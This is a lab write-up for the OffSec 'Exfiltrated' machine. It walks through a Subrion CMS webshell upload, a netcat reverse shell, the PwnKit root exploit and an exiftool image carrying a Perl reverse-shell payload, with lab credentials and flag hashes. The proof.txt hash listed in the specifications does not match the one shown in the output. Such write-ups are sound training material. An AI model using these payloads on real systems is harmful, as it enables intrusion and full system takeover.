Summary #
Use the received credentials to get SSH access or use a Arbitrary File Upload in Subrion CMS 4.2.1 to get initial access. Once access run linpeas to see that the target is vulnerable for CVE-2021-4034 (PwnKit) and also has a cronjob configured the is exploitable using exiftool (CVE-2021-22204). Both vulnerabilities lead to root access.
Specifications #
- Name: EXFILTRATED
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Easy
- OS: Linux exfiltrated 5.4.0-74-generic #83-Ubuntu SMP Sat May 8 02:35:39 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.108.163
- OFFSEC provided credentials:
coaran:SalveSubsistTopology342
- HASH:
local.txt
:beffd94841ea7fd63ebdc53d776f61a4
- HASH:
proof.txt
:6a2a3ecd85b2aa32409ff5d1e0aada6d
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir exfiltrated && cd exfiltrated && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 16 19:11 .
drwxrwxr-x 6 kali kali 4096 Jul 16 19:11 ..
drwxrwxr-x 2 kali kali 4096 Jul 16 19:11 enum
drwxrwxr-x 2 kali kali 4096 Jul 16 19:11 exploits
drwxrwxr-x 2 kali kali 4096 Jul 16 19:11 files
drwxrwxr-x 2 kali kali 4096 Jul 16 19:11 tools
drwxrwxr-x 2 kali kali 4096 Jul 16 19:11 uploads
## set bash variable
ip=192.168.108.163
## ping target to check if it's online
ping $ip
PING 192.168.108.163 (192.168.108.163) 56(84) bytes of data.
64 bytes from 192.168.108.163: icmp_seq=1 ttl=61 time=19.3 ms
64 bytes from 192.168.108.163: icmp_seq=2 ttl=61 time=24.6 ms
^C
--- 192.168.108.163 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.311/21.931/24.551/2.620 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.108.163:22
Open 192.168.108.163:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 19:56 CEST
Initiating Ping Scan at 19:56
Scanning 192.168.108.163 [4 ports]
Completed Ping Scan at 19:56, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:56
Completed Parallel DNS resolution of 1 host. at 19:56, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:56
Scanning 192.168.108.163 [2 ports]
Discovered open port 22/tcp on 192.168.108.163
Discovered open port 80/tcp on 192.168.108.163
Completed SYN Stealth Scan at 19:56, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.108.163
Host is up, received reset ttl 61 (0.022s latency).
Scanned at 2025-07-17 19:56:10 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
22,80
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6RTbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
| 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 7 disallowed entries
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/
|_/updates/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 09BDDB30D6AE11E854BFF82ED638542B
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
Initial Access #
Initial Access: path 1 #
Because we got credentials from OFFSEC we first try to login using SSH on TCP port 22.
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
We can access the EXFILTRATED server using SSH with the provided credentials: coaran
/ SalveSubsistTopology342
. Connect with the following command and paste the password when asked. Once logged in we find in the root folder of the coaran
user the local.txt
## connect to target using SSH
ssh coaran@$ip
## list directory
oaran@exfiltrated:~$ ls -la
total 28
drwx--x--x 3 coaran coaran 4096 Jul 16 19:35 .
drwxr-xr-x 3 root root 4096 Jun 10 2021 ..
lrwxrwxrwx 1 root root 9 Jun 10 2021 .bash_history -> /dev/null
-rw-r--r-- 1 coaran coaran 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 coaran coaran 3771 Feb 25 2020 .bashrc
drwx------ 2 coaran coaran 4096 Jul 16 19:35 .cache
-rwxr--r-- 1 coaran coaran 33 Jul 16 17:10 local.txt
-rw-r--r-- 1 coaran coaran 807 Feb 25 2020 .profile
## print `local.txt`
coaran@exfiltrated:~$ cat local.txt
beffd94841ea7fd63ebdc53d776f61a4
Initial Access: path 2 #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 7 disallowed entries
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/
|_/updates/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 09BDDB30D6AE11E854BFF82ED638542B
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
If we connect in the browser to URL: http://192.168.108.163/ we get redirected to http://exfiltrated.offsec/. This was also in the NMAP output. So we need to add this host to our local hosts
file. Here we’ll use nano, add this line: 192.168.108.163 exfiltrated.offsec
to your existing /etc/hosts
file.
nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.108.163 exfiltrated.offsec
When we refresh the browser we can access the website.

When we scroll down we can see a button called: GO TO ADMIN DASHBOARD
. Click on it and we get redirected to a login page which reveals the CMS application used and the version number. Here it’s: Subrion CMS v4.2.1
.

If we try default credentials like: admin:admin
we get access as an administrator.

When we search for an exploit using searchsploit, we see that there is a Arbitrary File Upload
for this version of Subrion. We can also go to https://www.exploit-db.com/exploits/49876 to see the content of the exploit. We can use searchsploit to copy the exploit locally.
## run searchsploit
searchsploit Subrion CMS
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Subrion 3.x - Multiple Vulnerabilities | php/webapps/38525.txt
SUBRION CMS - Multiple Vulnerabilities | php/webapps/17390.txt
Subrion CMS 2.2.1 - Cross-Site Request Forgery (Add Admin) | php/webapps/21267.txt
subrion CMS 2.2.1 - Multiple Vulnerabilities | php/webapps/22159.txt
Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin) | php/webapps/47851.txt
Subrion CMS 4.0.5 - Cross-Site Request Forgery Bypass / Persistent Cross-Site Scr | php/webapps/40553.txt
Subrion CMS 4.0.5 - SQL Injection | php/webapps/40202.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin) | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) | php/webapps/51110.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## change directory
cd exploits
## download the exploit
searchsploit -m php/webapps/49876.py
Exploit: Subrion CMS 4.2.1 - Arbitrary File Upload
URL: https://www.exploit-db.com/exploits/49876
Path: /usr/share/exploitdb/exploits/php/webapps/49876.py
Codes: CVE-2018-19422
Verified: False
File Type: Python script, ASCII text executable, with very long lines (956)
Using the -h
option we can get help on the exploit. We need to provide a URL, username and password. So fill this into the exploit and run it.
## get help on the exploit
python3 49876.py -h
Usage: 49876.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri http://target/panel
-l USER, --user=USER User credential to login
-p PASSW, --passw=PASSW
Password credential to login
## add the used URL with the found username / password
python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Trying to connect to: http://exfiltrated.offsec/panel/
[+] Success!
[+] Got CSRF token: P2FOuKt9xsoZ0GPjP5DFy3Nt16KxBCC4LkVQwkjs
[+] Trying to log in...
[+] Login Successful!
[+] Generating random name for Webshell...
[+] Generated webshell name: jjaopsjettennfe
[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://exfiltrated.offsec/panel/uploads/jjaopsjettennfe.phar
$ whoami
www-data
Now we got initial access as the www-data
user. Because this is a basic webshell, we need to upgrade our shell. We’ll use busybox nc
in combination with bash.
# get the ip address on tun0
ip a
<SNIP>
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.179/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::d549:3706:45fc:9dc1/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 9001
## run on target
busybox nc 192.168.45.179 9001 -e bash
## get connect from reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.179] from (UNKNOWN) [192.168.108.163] 45992
## run which to get location `script`
which script
/usr/bin/script
## upgrade shell using script and press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
www-data@exfiltrated:/var/www/html/subrion/uploads$ ^Z
zsh: suspended nc -lvnp 9001
## when in local terminal this, followed by 2 enter presses:
stty raw -echo ; fg ; reset
[1] + continued nc -lvnp 9001
## upgrade reverse shell to be able to clear the screen and get proper alignment
www-data@exfiltrated:/var/www/html/subrion/uploads$ export TERM=xterm
www-data@exfiltrated:/var/www/html/subrion/uploads$ stty columns 200 rows 200
Privilege Escalation #
First we download linpeas locally, upload it to the target and run it.
## change directory
cd uploads
## download `linpeas.sh`
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## start a local webserver
python3 -m http.server 80
## on target, download `linpeas.sh`
coaran@exfiltrated:/var/tmp$ wget http://192.168.45.216/linpeas.sh
--2025-07-16 19:54:47-- http://192.168.45.216/linpeas.sh
Connecting to 192.168.45.216:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[==============================================>] 933.76K --.-KB/s in 0.1s
2025-07-16 19:54:47 (6.28 MB/s) - ‘linpeas.sh’ saved [956174/956174]
## change the execution bit
coaran@exfiltrated:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
coaran@exfiltrated:/var/tmp$ ./linpeas.sh
Within the linpeas output on Executing Linux Exploit Suggester
it shows the server is vulnerable for CVE-2021-4034 (PwnKit). There is also a cronjob running every minute as root. It runs a .sh script: bash /opt/image-exif.sh
. Both paths are discussed below.
Privilege Escalation: path 1 #
Starting with CVE-2021-4034 (PwnKit). According to the linpeas output the SUID bit is set on /usr/bin/pkexec
. We can reproduce this by checking the permissions.
## check for SUID permission, grep for pkexec
www-data@exfiltrated:/var/www/html/subrion/uploads$ find / -perm /4000 -ls 2>/dev/null | grep pkexec
1379 32 -rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec
Indeed the SUID bit is set for this file. We can abuse this by downloading an exploit, uploading this to the target, change the execution bit and running is to get root access.
## change directory
cd uploads
## download the exploit locally
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit
## run a webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target: download the exploit
www-data@exfiltrated:/var/www/html/subrion/uploads$ wget http://192.168.45.179/pwnkit
--2025-07-17 18:36:55-- http://192.168.45.179/pwnkit
Connecting to 192.168.45.179:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'pwnkit'
pwnkit 0%[ pwnkit 100%[=============================================================================================================>] 17.62K --.-KB/s in 0.02s
2025-07-17 18:36:56 (795 KB/s) - 'pwnkit' saved [18040/18040]
## change the execution bit
www-data@exfiltrated:/var/www/html/subrion/uploads$ chmod +x pwnkit
## run the exploit
www-data@exfiltrated:/var/www/html/subrion/uploads$ ./pwnkit
## as root run `whoami` and print `proof.txt`
root@exfiltrated:/var/www/html/subrion/uploads# whoami
root
root@exfiltrated:/var/www/html/subrion/uploads# cat /root/proof.txt
b5f18ea09e13816a28e051e367a039c7
Privilege Escalation: path 2 #
When we look at crontab, we can see the entry and can print the .sh file to see what it does.
## print crontab
cat /etc/crontab
<SNIP>
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root bash /opt/image-exif.sh
## print the `/opt/image-exif.sh` file
www-data@exfiltrated:/var/www/html/subrion/uploads$ cat /opt/image-exif.sh
## file content:
#! /bin/bash
#07/06/18 A BASH script to collect EXIF metadata
echo -ne "\\n metadata directory cleaned! \\n\\n"
IMAGES='/var/www/html/subrion/uploads'
META='/opt/metadata'
FILE=`openssl rand -hex 5`
LOGFILE="$META/$FILE"
echo -ne "\\n Processing EXIF metadata now... \\n\\n"
ls $IMAGES | grep "jpg" | while read filename;
do
exiftool "$IMAGES/$filename" >> $LOGFILE
done
echo -ne "\\n\\n Processing is finished! \\n\\n\\n"
It runs the exiftool
to perform some actions as root. We can first list the version of exiftool to see if this version is vulnerable.
www-data@exfiltrated:/var/www/html/subrion/uploads$ exiftool -ver
11.88
And indeed, when we search on the internet for this version of exiftool we get to CVE-2021-22204. We can get to the following Python exploit: https://github.com/UNICORDev/exploit-CVE-2021-22204.git. Clone this github repo locally and run it.
## setup a listener
nc -lvnp 9001
## change directory
cd uploads
## clone the github respository locally
git clone https://github.com/UNICORDev/exploit-CVE-2021-22204.git
## change directory
cd exploit-CVE-2021-22204
## change execution bit
chmod +x exploit-CVE-2021-22204.py
## if not installed already install dependency
sudo apt install djvulibre-bin
## run with local ipaddres and listener port
└─$ python3 exploit-CVE-2021-22204.py -s 192.168.45.179 9001
/home/kali/hk/offsec/pg/practice/exfiltrated/uploads/exploit-CVE-2021-22204/exploit-CVE-2021-22204.py:89: SyntaxWarning: invalid escape sequence '\c'
payload = "(metadata \"\c${"
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution
PAYLOAD: (metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9001,inet_aton('192.168.45.179')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};")
DEPENDS: Dependencies for exploit are met!
PREPARE: Payload written to file!
PREPARE: Payload file compressed!
PREPARE: DjVu file created!
PREPARE: JPEG image created/processed!
PREPARE: Exiftool config written to file!
EXPLOIT: Payload injected into image!
CLEANUP: Old file artifacts deleted!
SUCCESS: Exploit image written to "image.jpg"
This creates an image.jpg
file. Upload this file to the target in the /var/www/html/subrion/uploads
directory as described in the cronjob .sh file and wait to get a reverse shell as root on the listener:
## start local webserver
python3 -m http.server 80
## on target: download `image.jpg`
www-data@exfiltrated:/var/www/html/subrion/uploads$ wget http://192.168.45.179/image.jpg
--2025-07-17 19:10:19-- http://192.168.45.179/image.jpg
Connecting to 192.168.45.179:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 457 [image/jpeg]
Saving to: 'image.jpg'
image.jpg 0%[ image.jpg 100%[=============================================================================================================>] 457 --.-KB/s in 0s
2025-07-17 19:10:19 (125 MB/s) - 'image.jpg' saved [457/457]
## wait for a reverse shell
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.179] from (UNKNOWN) [192.168.108.163] 46002
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/proof.txt
b5f18ea09e13816a28e051e367a039c7
References #
[+] https://vk9-sec.com/subrion-cms-4-2-1-arbitrary-file-upload-authenticated-2018-19422/
[+] https://github.com/bee-san/RustScan